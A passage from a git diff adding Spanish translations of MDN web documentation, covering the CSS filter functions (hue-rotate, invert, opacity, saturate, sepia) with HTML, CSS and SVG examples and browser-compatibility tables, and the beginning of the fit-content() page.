+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 276 184"&gt;
+ &lt;filter id="grayscale"&gt;
+    &lt;feColorMatrix type="matrix"
+               values="0.2126 0.7152 0.0722 0 0
+                       0.2126 0.7152 0.0722 0 0
+                       0.2126 0.7152 0.0722 0 0
+                       0 0 0 1 0"/&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3716/Test_Form_5.jpeg" filter="url(#grayscale)" width="276px" height="184px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_5_s.jpg" id="img4" class="internal default" src="/files/3717/Test_Form_5_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:grayscale(100%);
+  -webkit-filter:grayscale(100%);
+  -o-filter:grayscale(100%);
+  -ms-filter:grayscale(100%);
+  filter:grayscale(100%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('grayscale_example','100%','209px','')}}</p>
+
+<h3 id="hue-rotate()"><code>hue-rotate()</code></h3>
+
+<p>Aplica una rotación de tono (matiz) al elemento. El valor del ángulo define el número de grados al rededor del círculo de colores al que se ajustarán los colores de la imagen. Un valor de <code>0deg</code> deja la imagen sin cambios. Si el parámetro del ángulo no es especiicado, se usa valor de <code>0deg</code>. Aunque no hay valor máximo, el efecto de valores encima de <code>360deg</code> da la vuelta al círculo de colores.</p>
+
+<pre class="brush: css">filter: hue-rotate(90deg)</pre>
+
+<div id="huerotate_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_6.jpeg" id="img1" class="internal default" src="/files/3718/Test_Form_6.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_6.jpg" id="img2" class="internal default" src="/files/3718/Test_Form_6.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 266 190"&gt;
+ &lt;filter id="hue-rotate"&gt;
+    &lt;feColorMatrix type="hueRotate"
+               values="90"/&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3718/Test_Form_6.jpeg" filter="url(#hue-rotate)" width="266px" height="190px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_6_s.jpg" id="img4" class="internal default" src="/files/3719/Test_Form_6_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:hue-rotate(90deg);
+  -webkit-filter:hue-rotate(90deg);
+  -o-filter:hue-rotate(90deg);
+  -ms-filter:hue-rotate(90deg);
+  filter:hue-rotate(90deg); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;svg height="0" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="svgHueRotate" &gt;
+    &lt;feColorMatrix type="hueRotate" values="[angle]" /&gt;
+  &lt;filter /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('huerotate_example','100%','221px','')}}</p>
+
+<h3 id="invert()"><code>invert()</code></h3>
+
+<p>Invierte los colores de la imagen. El parámetro define la proporción de la conversión. Un valor de <code>100%</code> invierte completamente la imagen. Un valor de <code>0%</code> deja a la imagen sin cambios. Valores entre <code>0%</code> y <code>100%</code> son múltiplos lineales del efecto. Si el parámetro no es especificado, se usa un valor de <code>0</code>.</p>
+
+<pre class="brush: css">filter: invert(100%)</pre>
+
+<div id="invert_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_7.jpeg" id="img1" class="internal default" src="/files/3720/Test_Form_7.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_7.jpg" id="img2" class="internal default" src="/files/3720/Test_Form_7.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 183 276"&gt;
+ &lt;filter id="invert"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="table" tableValues="1 0"/&gt;
+        &lt;feFuncG type="table" tableValues="1 0"/&gt;
+        &lt;feFuncB type="table" tableValues="1 0"/&gt;
+    &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3720/Test_Form_7.jpeg" filter="url(#invert)" width="183px" height="276px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_7_s.jpg" id="img4" class="internal default" src="/files/3721/Test_Form_7_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: invert(100%);
+  -webkit-filter: invert(100%);
+  -o-filter: invert(100%);
+  -ms-filter: invert(100%);
+  filter: invert(100%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('invert_example','100%','407px','')}}</p>
+
+<h3 id="opacity()"><code>opacity()</code></h3>
+
+<p>Aplica transparencia a la imagen. El valor del parámetro define la proporción de la conversión. Un valor de <code>0%</code> es completamente transparente. Un valor de <code>100%</code> deja la imagen sin cambios. Valores entre <code>0%</code> y <code>100%</code> son múltiplos lineales del efecto. Esto es equivalente a multiplicar las muestras de la imagen por el valor indicado. Si el parámetro no es especificado, se usa un valor de <code>1</code>. Esta función es similar a la propiedad {{cssxref("opacity")}}, más establecida; la diferencia es que con filtros, algunos navegadores proveen aceleración de hardware para mayor rendimiento.</p>
+
+<pre class="brush: css">filter: opacity(50%)</pre>
+
+<div id="opacity_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_14.jpeg" id="img1" class="internal default" src="/files/3725/Test_Form_14.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_14.jpg" id="img2" class="internal default" src="/files/3725/Test_Form_14.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 276 183"&gt;
+ &lt;filter id="opacity"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncA type="table" tableValues="0 0.5"&gt;
+    &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3725/Test_Form_14.jpeg" filter="url(#opacity)" width="276px" height="183px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_14_s.jpg" id="img4" class="internal default" src="/files/3726/Test_Form_14_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: opacity(50%);
+  -webkit-filter: opacity(50%);
+  -o-filter: opacity(50%);
+  -ms-filter: opacity(50%);
+  filter: opacity(50%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('opacity_example','100%','210px','')}}</p>
+
+<h3 id="saturate()"><code>saturate()</code></h3>
+
+<p>Aplica saturación a la imagen. El valor del parámetro define la proporción de la conversión. Un valor de <code>0%</code> es completamente sin saturación. Un valor de <code>100%</code> deja la imagen sin cambios. Otros valores son múltiplos lineales del efecto. Valores por encima de <code>100%</code> son permitidos, dando resultados de sobresaturación. Si no se especifica el parámetro, se usa el valor de <code>1</code>.</p>
+
+<pre class="brush: css">filter: saturate(200%)</pre>
+
+<div id="saturate_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_9.jpeg" id="img1" class="internal default" src="/files/3722/Test_Form_9.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_9.jpg" id="img2" class="internal default" src="/files/3722/Test_Form_9.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 201 239"&gt;
+ &lt;filter id="saturate"&gt;
+    &lt;feColorMatrix type="saturate"
+               values="2"/&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3722/Test_Form_9.jpeg" filter="url(#saturate)" width="201px" height="239px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_9_s.jpg" id="img4" class="internal default" src="/files/3724/Test_Form_9_s.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: saturate(200%);
+  -webkit-filter: saturate(200%);
+  -o-filter: saturate(200%);
+  -ms-filter: saturate(200%);
+  filter: saturate(200%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('saturate_example','100%','332px','')}}</p>
+
+<h3 id="sepia()"><code>sepia()</code></h3>
+
+<p>Convierte la imagen a sepia. El valor del parámetro define la proporción de la conversión. Un valor de <code>100%</code> es completamente sepia. Un valor de <code>0%</code> deja la imagen sin cambios. Valores entre <code>0%</code> y <code>100%</code> son múltiplos lineales del efecto. Si no se especifica el parámetro, se usa el valor de <code>0</code>.</p>
+
+<pre class="brush: css">filter: sepia(100%)</pre>
+
+<div id="sepia_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_12.jpeg" id="img1" class="internal default" src="/files/3727/Test_Form_12.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_12.jpg" id="img2" class="internal default" src="/files/3727/Test_Form_12.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 259 194"&gt;
+ &lt;filter id="sepia"&gt;
+    &lt;feColorMatrix type="matrix"
+               values="0.393 0.769 0.189 0 0
+                       0.349 0.686 0.168 0 0
+                       0.272 0.534 0.131 0 0
+                       0 0 0 1 0"/&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3727/Test_Form_12.jpeg" filter="url(#sepia)" width="259px" height="194px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_12_s.jpg" id="img4" class="internal default" src="/files/3728/Test_Form_12_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: sepia(100%);
+  -webkit-filter: sepia(100%);
+  -o-filter: sepia(100%);
+  -ms-filter: sepia(100%);
+  filter: sepia(100%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('sepia_example','100%','229px','')}}</p>
+
+<h2 id="Combinando_funciones">Combinando funciones</h2>
+
+<p>Se puede combinar cualquier número de funciones para manipular la representación de la imagen. Los siguientes ejemplos aumentan el contraste y brillo de la imagen.</p>
+
+<pre class="brush: css">filter: contrast(175%) brightness(3%)</pre>
+
+<div id="combination_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_8.jpeg" id="img1" class="internal default" src="/files/3729/Test_Form_8.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_8.jpg" id="img2" class="internal default" src="/files/3729/Test_Form_8.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_8_s.jpg" id="img4" class="internal default" src="/files/3730/Test_Form_8_s.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: contrast(175%) brightness(103%);
+  -webkit-filter: contrast(175%) brightness(103%);
+  -o-filter: contrast(175%) brightness(103%);
+  -ms-filter: contrast(175%) brightness(103%);
+  filter: contrast(175%) brightness(103%);
+}
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('combination_example','100%','209px','')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#FilterProperty', 'filter') }}</td>
+   <td>{{ Spec2('Filters 1.0') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("18.0")}}{{ property_prefix("-webkit") }} [4]</td>
+   <td>{{ CompatGeckoDesktop(35) }} [1] [2]</td>
+   <td>{{ CompatNo() }} [3]</td>
+   <td>{{CompatOpera("15.0")}}{{ property_prefix("-webkit")}}</td>
+   <td>{{ CompatSafari("6.0") }}{{ property_prefix("-webkit") }}</td>
+  </tr>
+  <tr>
+   <td>En elementos SVG</td>
+   <td>{{CompatNo}} (See bug 109224)</td>
+   <td>{{ CompatGeckoDesktop(35) }}</td>
+   <td>{{ CompatNo}}</td>
+   <td>{{ CompatNo}}</td>
+   <td>{{ CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatAndroid("4.4") }}{{ property_prefix("-webkit")}}</td>
+   <td>{{ CompatGeckoDesktop(35) }} [1] [2]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>22.0 {{ CompatVersionUnknown() }}{{ property_prefix("-webkit")}}</td>
+   <td>
+    <p>6.0 {{ CompatVersionUnknown() }}{{ property_prefix("-webkit")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>En elementos SVG</td>
+   <td>{{CompatNo}} (See bug 109224)</td>
+   <td>{{ CompatGeckoDesktop(35) }}</td>
+   <td>{{ CompatNo}}</td>
+   <td>{{ CompatNo}}</td>
+   <td>{{ CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Antes de Firefox 34, Gecko solo implementa la forma <code>{{ anch("url()") }}</code> de la propiedad <code>filter</code>; como no estaba implementado el encadenamiento, solo se permitía una <code>url()</code> (o cuando la preferencia <code>layout.css.filters.enabled era establecida a </code><code>false</code>).<br>
+ <br>
+ [2] Los valores funcionales de <code>filter</code> son controlados por la preferencia <code>layout.css.filters.enabled</code>, pero fue deshabiliada en Firefox 34.</p>
+
+<p>[3] Internet Explorer 4.0 a 9.0 implementan una propiedad <code>filter</code> que no es estándar. La sintáxis era completamente diferente del estándar, y no está documentada aquí.</p>
+
+<p>[4] En Chrome 18 a 19, la función <code>saturate()</code> solo toma enteros, en vez de decimales o porcentajes. Este bug fue corregido en Chrome 20 y superiores.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a class="internal" href="/es/docs/Applying_SVG_effects_to_HTML_content" title="En/Applying SVG effects to HTML content">Aplicando efectos de SVG a contenido HTML</a></li>
+ <li>La propiedad {{ Cssxref("mask") }}</li>
+ <li><a class="internal" href="/es/docs/SVG" title="En/SVG">SVG</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/filters/understanding-css/">Entendiendo los filtros CSS</a>, artículo en inglés de HTML5Rocks!</li>
+</ul>
diff --git a/files/es/web/css/fit-content/index.html b/files/es/web/css/fit-content/index.html
new file mode 100644
index 0000000000..fc3cceef6f
--- /dev/null
+++ b/files/es/web/css/fit-content/index.html
@@ -0,0 +1,119 @@
+---
+title: fit-content()
+slug: Web/CSS/fit-content
+tags:
+  - CSS
+  - CSS Grid
+  - Experimental
+  - Función CSS
+  - Layout
+  - Referencia
+  - Web
+translation_of: Web/CSS/fit-content
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La función <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>fit-content()</code></strong> ajusta un tamaño dado a un tamaño disponible de acuerdo a la fórmula: <code>min(<var>maximum size</var>, max(<var>minimum size</var>, <var>argument</var>))</code>.</p>
+
+<pre class="brush: css no-line-numbers">/* &lt;length&gt; values */
+fit-content(200px)
+fit-content(5cm)
+fit-content(30vw)
+fit-content(100ch)
+
+/* &lt;percentage&gt; value */
+fit-content(40%)
+</pre>
+
+<p>La función se puede usar como un tamaño de track en las propiedades de <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a>, donde el tamaño máximo es definido por <code><a href="/en-US/docs/Web/CSS/grid-template-columns#max-content">max-content</a></code> y el mínimo por <code><a href="/en-US/docs/Web/CSS/grid-template-columns#auto">auto</a></code>, el cual es calculado por "<code>auto"</code> (ej. <code><a href="/en-US/docs/Web/CSS/minmax">minmax(auto, max-content)</a></code>), excepto que el tamaño del track se restringe al argumento si éste es mas grande que el "auto" mínimo .</p>
+
+<p>También puede usarse como tamaño de caja disponible para {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("min-width")}}, {{cssxref("min-height")}}, {{cssxref("max-width")}} y {{cssxref("max-height")}}, donde el tamañó máximo se refiere al tamaño máximo contenido y el mínimo al tamaño mínimo contenido.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Función que acepta un  <code>&lt;length&gt;</code> o un <code>&lt;percentage&gt;</code> como un argumento.</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Una Longitud Absoluta.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Un porcentaje relativo al espacio disponible en los ejes dados.</dd>
+ <dd>In grid properties it is relative to the inline size of the grid container in column tracks and to the block size of the grid container for row tracks. Otherwise it is relative to the available inline size or block size of the laid out box depending on the writing mode.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[3]">#container {
+  display: grid;
+  grid-template-columns: fit-content(300px) fit-content(300px) 1fr;
+  grid-gap: 5px;
+  box-sizing: border-box;
+  height: 200px;
+  width: 100%;
+  background-color: #8cffa0;
+  padding: 10px;
+}
+
+#container &gt; div {
+  background-color: #8ca0ff;
+  padding: 5px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;div&gt;Item as wide as the content.&lt;/div&gt;
+  &lt;div&gt;
+    Item con más texto en él. Porque el contenido que es
+    mas grande que el ancho máximo, está restringido a los
+    300 pixeles.
+  &lt;/div&gt;
+  &lt;div&gt;Flexible item&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Ejemplo", "100%", 200)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Sizing", "#valdef-width-fit-content-length-percentage", "fit-content()")}}</td>
+   <td>{{Spec2("CSS3 Sizing")}}</td>
+   <td>Define la función como el tamaño de caja disponible para {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("min-width")}}, {{cssxref("min-height")}}, {{cssxref("max-width")}} y {{cssxref("max-height")}}.</td>
+  </tr>
+  <tr>
